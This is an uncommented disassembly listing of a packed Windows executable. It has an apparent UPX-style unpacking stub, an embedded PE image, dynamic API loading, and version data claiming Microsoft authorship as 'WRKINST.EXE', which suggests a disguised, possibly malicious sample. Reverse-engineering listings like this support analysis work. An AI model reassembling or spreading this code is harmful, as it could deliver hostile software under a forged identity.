		dd 63DADF64h, 4C545CEFh, 0D203B1Bh, 0C7C0A5Fh, 0FF0FF46Fh
		dd 0F3FE1ADFh, 359DD74Dh, 3717BF3h, 7BEED93Dh, 0FBFFF3B3h
		dd 0B40FC0E3h, 0FFC1BDF3h, 2200F7FFh, 0F3ACE204h, 564004E3h
		dd 2231789h, 3744642h, 0FA1C9020h, 414BF4BFh, 0D024A716h
		dd 2A8C31D8h, 2A894D17h, 0F581EC6h, 5FFFFFFFh, 224C0D87h
		dd 0E3A71507h, 54184666h, 1CA99B4h, 1ADF6574h, 7661654Ch
		dd 153B4515h, 0FF06EAA5h, 1584CCFFh, 56E2C73h, 0F16C2BA0h
		dd 28416E18h, 63090EF3h, 0DFFFD1BFh, 0D17970E0h, 0DA0F5009h
		dd 0AB3A01F2h, 1CC75228h, 8049736Fh, 0BC1BFF81h, 624E27D4h
		dd 6A160D40h, 0BED8A01h, 54D86260h, 0F02FFF7Bh,	0E62E6BFFh
		dd 227A89DCh, 6E0A3E89h, 6469A802h, 72616898h, 9C4D6F54h
		dd 0FFE0AB42h, 5C88EF02h, 71141345h, 9375A2A8h,	0FFFC6F69h
		dd 3358757Fh, 417C4EC4h, 9C2D3B1Dh, 2CD41228h, 15135A11h
		dd 0F57E9AFh, 7AB71B95h, 2761B5EBh, 0DF5EADCEh,	8603B6A3h
		dd 0FFFDB579h, 687A9EFFh, 5670614Dh, 7D858469h,	4F7765F6h
		dd 6E558C66h, 6F0D106Dh, 1B5689EAh, 0F747E76Fh,	7E11F991h
		dd 0FFFF5603h, 0DEE5727Fh, 6F5868A3h, 558A889Dh, 0EEB99BCh
		dd 0A44B2A52h, 7B0362D6h, 0FC4BFFFFh, 379D602Dh, 45714EDAh
		dd 0A8EA56E6h, 0F71610D9h, 2A715F62h, 0A90416F3h, 0DCFE854Bh
		dd 6E694654h, 9FFEBC22h, 0F13EAE0Fh, 377FFC4Bh,	70DB9A10h
		dd 0A8041E12h, 0BD4E6D61h, 15ACD1FAh, 0F0B8DFBEh, 7B63792Fh
		dd 217E9D23h, 0C34ED661h, 0E60215A8h, 0FFFFFF16h, 447719FFh
		dd 1035CDC4h, 41A6BBDEh, 1E095173h, 193505Fh, 50AD012Bh
		dd 6A02E445h, 125EA503h, 0FFFFF5DCh, 0FEBBC1FFh, 6F5F847Bh
		dd 0E0C42630h, 7E531DC9h, 0B3182906h, 222B1264h, 3A88F441h
		dd 0F12FFF90h, 7FF69DBFh, 35EC0EEFh, 0B4EE5722h, 425E6873h
		dd 0DAA06675h, 4B66B9CDh, 0D3FFFE15h, 70650B51h, 0A0999A06h
		dd 0A8704696h, 97805909h, 5B7F50Ah, 0E10CA4FEh,	5DB3B875h
		dd 16006E16h, 2E3361BCh, 0FFFFF045h, 0D236CE2Fh, 2920A08Dh
		dd 0B070754Fh, 0BD286D9h, 6FD46D16h, 40060C79h,	37837FDBh
		dd 76AE2328h, 7E27B050h, 0BD96740Ch, 85FFFF80h,	51E810FEh
		dd 0DEA219FCh, 815CE27h, 62823351h, 918FE6BDh, 853D6CB0h
		dd 0FFC0BFD3h, 0B10ED40Bh, 4EB4C68h, 615E4BF8h,	1C675987h
		dd 0FFB47349h, 6DFE97FFh, 48C6D141h, 78800B67h,	5083CE67h
		dd 42E7505Ch, 5B6CEC0Fh, 6D20630Ah, 0C1BC5B15h,	7B6544FFh
		dd 3624BAB0h, 0ED4FDB41h, 7E340C09h, 0FFFEA55Bh, 0B1D356FFh
		dd 19C2AA00h, 0F2C897A0h, 41CB784Dh, 5316180Ch,	613A425h
		dd 8DFF6A50h, 0F1C3DCFEh, 76962463h, 6AC1FB92h,	2F30CB25h
		dd 4BFF7457h, 0C3B5176Fh, 3658E76Ch, 177CD4E9h,	8179473h
		dd 0FF56C239h, 176FFFFFh, 6059A71Bh, 9DFE57h, 23146769h
		dd 52C25149h, 8A024C21h, 86F655B7h, 5F8C5834h, 53ADFFFAh
		dd 764AD362h, 440FCB70h, 86864217h, 0D0918A6Bh,	0FEEFAE0Ah
		dd 15FFFFC2h, 551F66F5h, 0B9B30C0Fh, 2B8E5159h,	0A21DAA89h
		dd 7D1320Eh, 6EDD3451h,	0DF6E025Fh, 0A970C166h,	0ACB51D74h
		dd 0AFFDB23h, 0DDFBBF02h, 0F1639A5h, 2100B65h, 8A170904h
		dd 73130309h, 0FF2E3474h, 0F9F8823Bh, 4C20301h,	1C9C03F9h
		dd 0B0D04659h, 0E2E05F70h, 0B1FFFFFFh, 40D23257h, 1701A010h
		dd 0DB140655h, 27879A0h, 8007E5C2h, 2F4AF4EDh, 7FFF9B64h
		dd 0A0C8DFFBh, 6447B541h, 3F46F000h, 0D881BB1Bh, 0C201ECA7h
		dd 54E4DF14h, 0FEEBC908h, 10FFC5BFh, 614DEFBh, 0FB2CA4C2h
		dd 185D280h, 2F08C2C5h,	0BC50183Ch, 0D6FF60B3h,	0C27B0DFFh
		dd 46F7B1B2h, 8073F3EBh, 9BF71127h, 4D441B40h, 0C1817F17h
		dd 4996E3DAh, 60752400h, 411000BEh, 54BEDB00h, 0FE058DB4h
		dd 0FFCD8357h, 0C400904Bh, 8A1E0A2Dh, 1874606h,	0BFF7B0DBh
		dd 831EB104h, 0DB11FCEEh
		dd 37B8ED72h, 0BEC1FF11h, 0CC0111Dh, 975EF73h, 31E4730Eh
		dd 3E883C9h, 235DFD72h,	3DE10D80h, 74FFF083h, 64C58974h
		dd 2F81D84Fh, 20750CC9h, 0FB7F1C41h, 834C2C27h,	0FD8102C1h
		dd 8395F300h, 148D01D1h, 6BBEA62Fh, 0FCFD83FDh,	338A0F76h
		dd 0F7754994h, 510563E9h, 0EE052C2Ch, 0F6893F83h, 5B4BFFBBh
		dd 4E98304h, 0CF01F177h, 5E164CE9h, 4EB9F789h, 0FFFFA904h
		dd 298ADBFFh, 13CE82Ch,	3F80F777h, 8BF27505h, 45F8A07h
		dd 8E8C166h, 8610C0C1h,	0BDF46EC4h, 3CF829C4h, 3BF001E8h
		dd 0D9E23605h, 0EB5BF6FBh, 23DD90FFh, 4574C009h, 848D278Bh
		dd 0ADEDB430h, 1BB7EDBh, 81F50F3h, 0B91896FFh, 84E950Bh
		dd 8B6DE01Dh, 79F93A5Bh, 500BB73Dh, 0B33BB947h,	0A977516Dh
		dd 371C1D55h, 76878907h, 8303FDB3h, 0D8EB04C3h,	0AE8B2410h
		dd 0FF560520h, 0F09620A6h, 545093BBh, 5753046Ah, 6FEDD5FFh
		dd 878DE2A2h, 7F208C0Fh, 7F286080h, 0A8DF1558h,	1450BD4Ah
		dd 6A80451Eh, 0B2AA3900h, 75C4FFC2h, 80EC83FAh,	0FEAD67E9h
		dd 9A3A0099h, 5042EC1h,	0E303003h, 0E9A69A6Ch, 0E010A007h
		dd 0D3012018h, 2FAC2C6Dh, 501F015Ah, 4D9231CEh,	0A9007802h
		dd 2DDB0008h, 640B68BBh, 0E424E8C1h, 6E427704h,	9027D9DFh
		dd 2827C44Bh, 0AC21BB01h, 0B8A0EABBh, 7C3FD067h, 42B7D8C5h
		dd 0AF00222Eh, 6C913FF8h, 1104396h, 0DB02B4A4h,	387902E6h
		dd 0C85C5001h, 83BA567Fh, 9160203Bh, 40033BCFh,	0C5821D81h
		dd 2301829h, 33BA4DEEh,	1800680h, 0CFBDD208h, 700C0B5h
		dd 602FF11h, 7D200FFFh,	0FF12016Fh, 787787C1h, 20C8EB59h
		dd 87FF8F88h, 73E5C80Eh, 0A07A77F6h, 7708780Fh,	4DDDB0ABh
		dd 2077DF76h, 0EEBB0F8Fh, 0F7870820h, 0B92FF92Fh, 77E7BE0Fh
		dd 0BEFA777Fh, 0F8777077h, 0CDC83C9Ch, 0CC4CE708h, 77F0A0C4h
		dd 20FFE447h, 8E87A8Fh,	88087844h, 0EBAA7788h, 0CFEFF777h
		dd 44C07DBDh, 8A190748h, 5F52BBAEh, 0F4404F0h, 95AD74FDh
		dd 0F3720EEh, 0BBEB7870h, 0FFDD6AB5h, 8878883Eh, 0F047F87h
		dd 8E0F88EAh, 0ADB5CFB7h, 2187DFDEh, 0F87004Fh,	76FC788Fh
		dd 8246B58h, 0F73F70F1h, 0FFFF0887h, 0CE6BB73Dh, 8FD87600h
		dd 0EF3F0F70h, 0AE75BBh, 26F0983Eh, 4F004488h, 0FD83370Fh
		dd 0F4086D0Fh, 6C6676E7h, 0FE000FCCh, 0D81B6677h, 0EF66903Bh
		dd 0D201F20h, 1FD81BD8h, 67E0F20h, 20EC06F6h, 0F20770Fh
		dd 0F602CB7Eh, 8F0F20h,	8766FF08h, 0D3B84C20h, 60C7BB00h
		dd 88FE0FC3h, 7FC02723h, 0FFD4A258h, 3FC01FFCh,	1FC007F0h
		dd 310303E0h, 0F24E43C0h, 3CE95h, 0D9320000h, 36019DC9h
		dd 408003F2h, 7E5CD96h,	0F3E30FC2h, 0BC67FF80h,	24C00E65h
		dd 0EB94481Fh, 80E42210h, 802034h, 9861F6FEh, 75FC270h
		dd 87007007h, 0BFE0BEF7h, 775979BCh, 8708770h, 0C077E88Ah
		dd 0EB8E0777h, 9B8DB634h, 0F80FC77Fh, 0CC178835h, 0E87F9CCEh
		dd 0FC0E2D28h, 0F88F074Dh, 0DEE070Fh, 80462FC7h, 0C766470Fh
		dd 764E2000h, 88D97C67h, 8F88F7FCh, 7E747h, 4744448Fh
		dd 675EF735h, 8F6D10F8h, 830D8AC1h, 161DD3B7h, 0E0FB03C2h
		dd 0A2C5F003h, 0FEFC483Bh, 0DD95B801h, 685CE077h, 10202906h
		dd 0EDF5071Dh, 10106CC0h, 5010030Dh, 0EE959441h, 8FF72DEEh
		dd 53552B34h, 45055F00h, 0FE095200h, 49FBAEB9h,	4E004F00h
		dd 4605490Fh, 4BD000Bh,	4D64FEEFh, 343F676h, 0AB3F0700h
		dd 0DEC26F76h, 12001104h, 744F75h, 2825506Dh, 7667A9FBh
		dd 4DCDEE6Fh, 65006C07h, 660D59h, 1EE236Fh, 706DD7B9h
		dd 39033415h, 5BBA8307h, 4C91FDD7h, 43171600h, 0CF6D23h
		dd 0B9792F61h, 8DEBAC6Eh, 5B650D61h, 5763494Dh,	0B75D6333h
		dd 6603731Fh, 722D2063h, 0BAEE6605h, 691161EEh,	724B6E09h
		dd 7F7B2900h, 561DD733h, 1D357203h, 2E003500h, 0DDDD63CDh
		dd 32033100h, 30813600h, 38003109h, 75D63720h, 5178731Dh
		dd 55F0373h, 37F60732h,	5B725D73h, 27B5256Dh, 332D0033h
		dd 375EEB9Fh, 52290D35h, 0E773071Dh, 7580D874h,	916E6F63h
		dd 0A577C16Ch, 0D8BF9A11h, 3E2F1B6Bh, 294F0B00h, 877B26C9h
		dd 0B32F2D67h, 2375376Eh, 2357B82Ch, 2EA94BA3h,	84545805h
		dd 3F03CFE6h, 5025006Ah, 0D0943711h, 1B7557B0h,	0DDAE2F74h
		dd 58DDC8C3h, 11646957h, 4F730077h, 21E1AE3Fh, 20B36549h
		dd 841D79C1h, 0C77D8DECh, 0AB3A4B6Dh, 612B136Bh, 0F9535524h
		dd 0E9DD30Ch, 612D4439h, 2CFB1B0Dh, 24D7ADh, 4F6E8154h
		dd 0A1096FE5h, 941C96Ch, 4804B004h, 0D42FEA98h,	73613CFFh
		dd 626D6573h, 7920796Ch, 223D736Eh, 7FE07275h, 637B176Bh
		dd 2D181368h, 7263696Dh, 666F736Fh, 0DEDD43h, 3A6D6F16h
		dd 7E2E6D10h, 37D5BFDAh, 66696E19h, 6556AC65h, 6F697372h
		dd 3B0D326Eh, 8084A194h, 8C0F6D4Bh, 44BF8742h, 211867C9h
		dd 3CC0E69h, 932C5113h,	5E9A4866h, 743C6934h, 65375Dh
		dd 3821774h, 34A22392h,	0B08360C8h, 7F34BE07h, 0E682A8C0h
		dd 4441000Eh, 6B504156h, 49B8002Fh, 55007E0Ch, 0F80A1A53h
		dd 5707C9A7h, 395F3253h, 4C64616Fh, 77600169h, 47CD3100h
		dd 69BFBD65h, 0FA4AD533h, 7269E973h, 6C617574h,	77B40025h
		dd 63657413h, 2FDE0F74h, 3BBB8034h, 4E676552h, 79654B0Ch
		dd 437FCD25h, 707377FFh, 746E6972h, 0A8484166h,	5003FCECh
		dd 4000416Ah, 2D004147h, 4689F8DAh, 4A475342h, 2A4752BDh
		dd 9F1456FEh, 67736266h, 4A974A5Ch, 62C605FFh, 4120666Ah
		dd 0AB505C47h, 8F676188h, 498DF7F6h, 62766697h,	62791961h
		dd 0FB6B0874h, 66B4515Ch, 2C43C113h, 19508A03h,	83085CAFh
		dd 0A9B8C276h, 40D7B0E2h, 5F171083h, 0E6931557h, 9C1B1938h
		dd 3E417EDBh, 110FD407h, 32D3316h, 981C80E5h, 1B09D81Fh
		dd 0B9800001h, 3500031Dh, 0C8A20600h, 0B66900BEh, 0F429100Bh
		dd 0E0EC0322h, 0A69A69A6h, 0ACB8C4D4h, 69A69AA0h, 7488949Ah
		dd 694C5C68h, 4469A69Ah, 14243038h, 0A6CB34D3h,	0E821F408h
		dd 0D34DD0DCh, 0B8C44D34h, 8C94A0A8h, 34D34D34h, 5C687884h
		dd 4D34D350h, 203044D3h, 69A60414h, 20F8659Ah, 0D4DCE4F0h
		dd 9A69A645h, 0A0B0B8C8h, 5C2C0000h, 4104D778h,	30C59h
		dd 0E07FA2C0h, 0A4004015h, 51060B16h, 3A000259h, 74428002h
		dd 0AB72FAA2h, 491014DFh, 0DA654473h, 2CDF552Eh, 50726567h
		dd 186E6575h, 0FF737E01h, 614856A9h, 656C646Eh,	7461150Ch
		dd 2A694665h, 0BDB7DB7h, 736C0C41h, 6E087274h, 0FBFBD909h
		dd 6954AB97h, 6F436B63h, 72573175h, 0FD2F2369h,	0A66AA4DDh
		dd 6C745228h, 69776E55h, 0AC4542B6h, 1C8F334Ch,	9554BD6Dh
		dd 6FD0980Ah, 6FB67972h, 635283CDh, 324C7461h, 6C416C61h
		dd 0D6B6637Ch, 460BC1B5h, 35535025h, 0A6840h, 648DC7B7h
		dd 70557845h, 0C2B71074h, 476BE6DAh, 6C191C72h,	0A2DB982h
		dd 8BD072AAh, 0DB6D6585h, 6D175412h, 2059D88h, 819A7556h
		dd 0B6C64C00h, 740CF75Bh, 65758056h, 510F4156h,	0D6B09DAEh
		dd 4F11AD0Ah, 0A02D5A70h, 41B669BAh, 0FF588E44h, 95C002A8h
		dd 55A12FCh, 10FF0D00h,	426F808Ch, 23130003h, 0B54020C9h
		dd 2007105Ah, 0DC105C8Fh, 54FC016Fh, 0D7B80167h, 58A0F683h
		dd 5A024577h, 13404760h, 1CC3207Ch, 742E5620h, 6C8F7865h
		dd 0C7AFBD9h, 2E420390h
		dd 0B720C272h, 61836485h, 0C0BA2AFBh, 2E6BC703h, 2E40021Bh
		dd 0D500A626h, 4B04DD20h, 9887E0E0h, 2E5A94F9h,	0EA545243h
		dd 0B2B5405Bh, 0BD4F6309h, 0AA261309h, 54075313h, 2791BF3Dh
		dd 5BD8AC13h, 4A000000h, 9002Ah, 0FF00h, 6000BE60h, 0BE8D0040h
		dd 0FFFFB000h, 0FFCD8357h, 909010EBh, 90909090h, 8846068Ah
		dd 0DB014707h, 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1, 775DB01h
		dd 0EE831E8Bh, 11DB11FCh, 73DB01C0h, 8B0975EFh,	0FCEE831Eh
		dd 0E473DB11h, 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h
		dd 0C5897474h, 775DB01h, 0EE831E8Bh, 11DB11FCh,	75DB01C9h
		dd 831E8B07h, 0DB11FCEEh, 2075C911h, 75DB0141h,	831E8B07h
		dd 0DB11FCEEh, 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh
		dd 2C183E4h, 0F300FD81h, 0D183FFFFh, 2F148D01h,	76FCFD83h
		dd 42028A0Fh, 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh
		dd 83078904h, 0E98304C7h, 1F17704h, 0FF4CE9CFh,	895EFFFFh
		dd 34B9F7h, 78A0000h, 3CE82C47h, 80F77701h, 0F275003Fh
		dd 5F8A078Bh, 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h
		dd 830789F0h, 0D88805C7h, 0BE8DD9E2h, 10000h, 0C009078Bh
		dd 5F8B4574h, 30848D04h, 128B4h, 8350F301h, 96FF08C7h
		dd 12904h, 47078A95h, 0DC74C008h, 779F989h, 4707B70Fh
		dd 57B94750h, 55AEF248h, 290896FFh, 0C0090001h,	3890774h
		dd 0EB04C383h, 1096FFD8h, 8B000129h, 1290CAEh, 0BE8D00h
		dd 0BBFFFFF0h, 1000h, 46A5450h,	0D5FF5753h, 1F7878Dh, 20800000h
		dd 2860807Fh, 5450587Fh, 0FF575350h, 8D6158D5h,	6A802444h
		dd 75C43900h, 80EC83FAh, 0FEEDB7E9h, 0FFh, 2Fh dup(0)
		dd 4, 40000h, 3, 80000030h, 0Eh, 800000A0h, 10h, 800000E0h
		dd 18h,	80000120h, 2 dup(0)
		dd 4, 20000h, 1, 80000050h, 2, 80000078h, 2 dup(0)
		dd 4, 10000h, 409h, 68h, 13164h, 2E8h, 4E4h, 3 dup(0)
		dd 4, 10000h, 409h, 90h, 13450h, 128h, 4E4h, 3 dup(0)
		dd 4, 10000h, 3EAh, 800000B8h, 2 dup(0)
		dd 4, 10000h, 409h, 0D0h, 1357Ch, 22h, 4E4h, 3 dup(0)
		dd 4, 10000h, 1, 800000F8h, 2 dup(0)
		dd 4, 10000h, 409h, 110h, 135A4h, 2B4h,	4E4h, 3	dup(0)
		dd 4, 10000h, 1, 80000138h, 2 dup(0)
		dd 4, 10000h, 409h, 150h, 1385Ch, 56h, 4E4h, 0
		dd 10160h, 28h,	20h, 40h, 40001h, 0
		dd 200h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h
		dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h,	0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 4 dup(0)
		dd 78778700h, 0
		dd 88000000h, 0
		dd 0F8FF8F00h, 80h, 77880000h, 0A07Ah, 0F8FF8F00h, 78h
		dd 77770800h, 0B0AB7Ah,	0F8FF8F00h, 8077h, 77778F00h, 0EEBB7Ah
		dd 0F8FF8F00h, 7877h, 77F78708h, 0E7BE7Ah, 0F8FF8F00h
		dd 7877h, 777F7708h, 7077BEFAh,	0F8FF8F00h, 7877h, 0F8777708h
		dd 7077E708h, 0C4CC4C00h, 7877h, 0A0777708h, 707777F0h
		dd 0C4CC4C00h, 7847h, 0E87A7708h, 70777708h, 0C4CC4C00h
		dd 88087844h, 0EBAA7788h, 7077F777h, 0C0CC4C00h, 77074844h
		dd 0BBAE8A77h, 777F77h,	0F0FF8F00h, 77074404h, 0BBEE8A77h
		dd 0F77777h, 0F0FF8F08h, 77074470h, 0BBEB7877h,	707777h
		dd 87887888h, 0FF0F047Fh, 0BB88FFFFh, 807877h, 87778787h
		dd 8808F0FFh, 88888888h, 808788h, 7077788Fh, 8888h, 0
		dd 708800h, 887F708h, 7707FFFFh, 77777777h, 800878h, 8708F00h
		dd 0FF0FFFFFh, 0FFFFFFFFh, 8078h, 0F00800h, 44448888h
		dd 4F444444h, 8078h, 800000h, 76E7F408h, 4FCC6C66h, 8078h
		dd 0
		dd 77FEF408h, 4FCC6666h, 8078h,	0
		dd 0E7EFF408h, 4F6C6676h, 8078h, 0
		dd 0FEFEF408h, 4F666677h, 8078h, 0
		dd 0EFEFF408h, 4F6676E7h, 8078h, 0
		dd 0FE7EF408h, 4F6677FEh, 8078h, 0
		dd 0EF77F408h, 4F76E7EFh, 8078h, 0
		dd 7E77F408h, 4F77FEFEh, 8078h,	0
		dd 4444F408h, 4F444444h, 8078h,	0
		dd 0FFFFFF08h, 0FFFFFFFFh, 80F8h, 0
		dd 77778700h, 77777777h, 8077h,	0
		dd 88880800h, 88888888h, 8088h,	0FFFFFFC0h, 1FFC7FC0h
		dd 7F03FC0h, 3E01FC0h, 1C00FC0h, 18007C0h, 3 dup(8007C0h)
		dd 2 dup(0C0h),	2 dup(10000C0h), 3000080h, 3 dup(3000000h)
		dd 7000080h, 0F0000C2h,	0F0000E3h, 0F0080F3h, 9	dup(0F0080FFh)
		dd 0F00C0FFh, 1F00E0FFh, 10448h, 28h, 10h, 20h,	40001h
		dd 0
		dd 80h,	5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h
		dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h,	0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 0
		dd 70000000h, 0F008h, 77A7708h,	70F008h, 0E0BEF787h, 77F008h
		dd 70877087h, 877F008h,	7077E88Ah, 777C008h, 707FEB8Eh
		dd 0FC7C008h, 8877BBF8h, 8CCF008h, 78888887h, 0FC8008h
		dd 7000000h, 70FF88Fh, 80777777h, 0F808808h, 80C76647h
		dd 0FFF0800h, 8067764Eh, 8F880000h, 8067E747h, 8F000000h
		dd 80474444h, 8F000000h, 80F7FFFFh, 8000000h, 80888888h
		dd 0C18Fh, 8087h, 83h, 6 dup(80h), 0
		dd 80h,	0E0h, 0F0h, 2 dup(0FCh), 1FEh, 10570h, 10000h
		dd 20200002h, 10010h, 2E80004h,	10000h,	101010h, 40001h
		dd 128h, 41500002h, 10594h, 3402B4h, 560000h, 5F0053h
		dd 450056h, 530052h, 4F0049h, 5F004Eh, 4E0049h,	4F0046h
		dd 0
		dd 0FEEF04BDh, 2 dup(10000h), 0
		dd 10000h, 0
		dd 3Fh,	0
		dd 40004h, 1, 3	dup(0)
		dd 212h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 1EEh, 300001h,	300034h, 300039h, 450034h
		dd 34h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCor_0:
		unicode	0, <Microsoft Corporation>,0
aR_0:
		unicode	0, <r)>
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_1_2600_218_0:
		unicode	0, <5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)>,0
		align 4
a0_0:
		unicode	0, <0>
		dw 8
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	720077h, 69006Bh, 73006Eh, 74h,	0C0040h, 4F0001h
		dd 690072h, 690067h, 61006Eh, 46006Ch, 6C0069h,	6E0065h
		dd 6D0061h, 65h, 520057h, 49004Bh, 53004Eh, 2E0054h, 580045h
		dd 45h,	25006Ah, 500001h, 6F0072h, 750064h, 740063h, 61004Eh
		dd 65006Dh, 0
aMicrosoft_0:
		unicode	0, <Microsoft>
		dw 0AEh
aWindows_0:
		unicode	0, < Windows>
		dw 0AEh
		db ' ',0
aOperatingSys_0:
		unicode	0, <Operating System>,0
		align 4
		unicode	0, <:>
		dw 0Bh
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 2E0031h, 360032h, 300030h, 30002Eh
		dd 0
		dd 44h,	560001h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h
		dd 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 10848h, 7373613Ch,	6C626D65h, 6D782079h, 3D736E6Ch
		dd 6E727522h, 6863733Ah, 73616D65h, 63696D2Dh, 6F736F72h
		dd 632D7466h, 613A6D6Fh, 762E6D73h, 6D202231h, 66696E61h
		dd 56747365h, 69737265h, 223D6E6Fh, 22302E31h, 3C0A0D3Eh
		dd 7373612Fh, 6C626D65h, 41503E79h, 3 dup(0)
		dd 13928h, 13904h, 3 dup(0)
		dd 13935h, 13918h, 3 dup(0)
		dd 13942h, 13920h, 5 dup(0)
		dd 1394Eh, 1395Ch, 1396Ch, 1397Ch, 0
		dd 1398Ah, 0
		dd 800002A8h, 0
aKernel32_dll_8	db 'KERNEL32.DLL',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
aShell32_dll_0	db 'SHELL32.dll',0
		align 10h
aLoadlibrarya_0	db 'LoadLibraryA',0
		align 2
aGetprocaddre_0	db 'GetProcAddress',0
		align 2
aVirtualprote_0	db 'VirtualProtect',0
		align 2
aExitprocess_2	db 'ExitProcess',0
		align 4
aRegclosekey_2	db 'RegCloseKey',0
		unicode	0, <H>,0
		dd 0Eh dup(0)
		dd offset dword_40E000
		dd offset dword_40D7B0
		dd 3, 8	dup(0)
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0C8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 1489CBA0h, 3	dup(47E7AAE4h),	47BAA527h, 47E7AAE7h, 47E6AAE4h
		dd 47E7AAEDh, 479A6CC3h, 47E7AAE9h, 479B6CC3h, 47E7AAE5h
		dd 479F6CC3h, 47E7AAE5h, 68636952h, 47E7AAE4h, 2 dup(0)
		dd 4550h, 4014Ch, 496DE283h, 2 dup(0)
		dd 10300E0h, 8010Bh, 1200h, 34600h, 0
		dd 1655h, 1000h, 3000h,	3E0000h, 1000h,	200h, 4, 0
		dd 4, 0
		dd 39000h, 400h, 12278h, 2, 100000h, 1000h, 100000h, 1000h
		dd 0
		dd 10h,	2 dup(0)
		dd 3080h, 28h, 38000h, 2E0h, 12h dup(0)
		dd 3000h, 28h, 6 dup(0)
a_text_0	db '.text',0
		align 4
		dd 1093h, 1000h, 1200h,	400h, 3	dup(0)
		dd 60000020h, 6164722Eh, 6174h,	16Ch, 3000h, 200h, 1600h
		dd 3 dup(0)
		dd 40000040h, 7461642Eh, 61h, 33EB0h, 4000h, 8C00h, 1800h
		dd 3 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 2E0h, 38000h, 400h, 0A400h
		dd 3 dup(0)
		dd 40000040h, 68h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4178A0	proc near		; CODE XREF: .data:00417E68p
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	ecx
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		push	dword ptr [ebp-8]
		pop	eax
		mov	ecx, [ebp-8]
		add	ecx, [eax+3Ch]
		mov	[ebp-4], ecx
		push	dword ptr [ebp-4]
		pop	eax
		leave
		retn
sub_4178A0	endp

; ---------------------------------------------------------------------------
		dw 5455h
		dd 75FF515Dh, 875FF10h,	0E80C75FFh, 0DEAh, 8D0CC483h, 6A50FC45h
		dd 1075FF02h, 0FF0C75FFh, 417E9015h, 0CCC3C900h, 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 0
		jz	short loc_417904
		mov	eax, [ebp+8]
		cmp	eax, dword_3ECAEC
		jnz	short loc_41790C


loc_417904:				; CODE XREF: .data:004178F7j
		mov	eax, dword_3ECAE8
		mov	[ebp+8], eax


loc_41790C:				; CODE XREF: .data:00417902j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword_3ECAE0
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
aUtG_1		db 'UT]ƒ}',8,0
		dw 0C74h
		dd 580875FFh, 0CAEC053Bh, 0A75003Eh, 0CAE835FFh, 8958003Eh
		dd 75FF0845h, 0C75FF10h, 0FF0875FFh, 3ECAE415h,	0CC25D00h
		dd 5D545500h, 1075FF51h, 0FF0875FFh, 3E300015h,	0FC458900h
		dd 3E303068h, 0C75FF00h, 0E3BE8h, 85595900h, 684675C0h
		dd 3E3040h, 0E81075FFh,	0DA6h, 0C0855959h, 75FF1075h, 0E0A358FCh
		dd 0B8003ECAh, 3E1050h,	546826EBh, 0FF003E30h, 83E81075h
		dd 5900000Dh, 75C08559h, 0FC458B10h, 3ECAE4A3h,	107F6800h
		dd 0EB58003Eh, 0FC458B03h
		db 0C9h, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	dword ptr [ebp+8]
		pop	eax
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
aUtGJ		db 'UT]ē$j',0
		dw 15FFh
		dd offset dword_3E3008
aGs		db '£èÊ>',0
		db 8Bh,	45h, 0Ch
aG		db '£ìÊ>',0
		db 0FFh, 75h, 8
		dd 800558h, 45890000h, 0F8458BF8h, 0C75FF50h, 58C88B58h
		dd 4D890803h, 0FC75FFFCh, 0C788358h, 0F3840F00h, 83000000h
		dd 8300F465h, 8B00F065h, 75FFFC45h, 4803590Ch, 0E44D890Ch
		dd 0FFE475FFh, 3E300415h, 0E8458900h, 83FC458Bh, 75000478h
		dd 0FC75FF14h, 75FF5058h, 0C88B580Ch, 10480358h, 0EBF44D89h
		dd 0FC75FF0Dh, 0C75FF58h, 89080359h, 75FFF44Dh,	75FF58FCh
		dd 4803590Ch, 0EC4D8910h, 83F4458Bh, 840F0038h,	80h, 8BE875FFh
		dd 30FFF445h, 0FFFF35E8h, 0F5959FFh, 0C085C0B6h, 75FF2374h
		dd 30FF58F4h, 0FFFF2558h, 89660000h, 0B70FE045h, 0FF50E045h
		dd 15FFE875h, 3E3000h, 0EBF04589h, 0F475FF23h, 0C4D8B58h
		dd 4D890803h, 0DC458BDCh, 0FF504040h, 75FFE475h, 0FE7BE8E8h
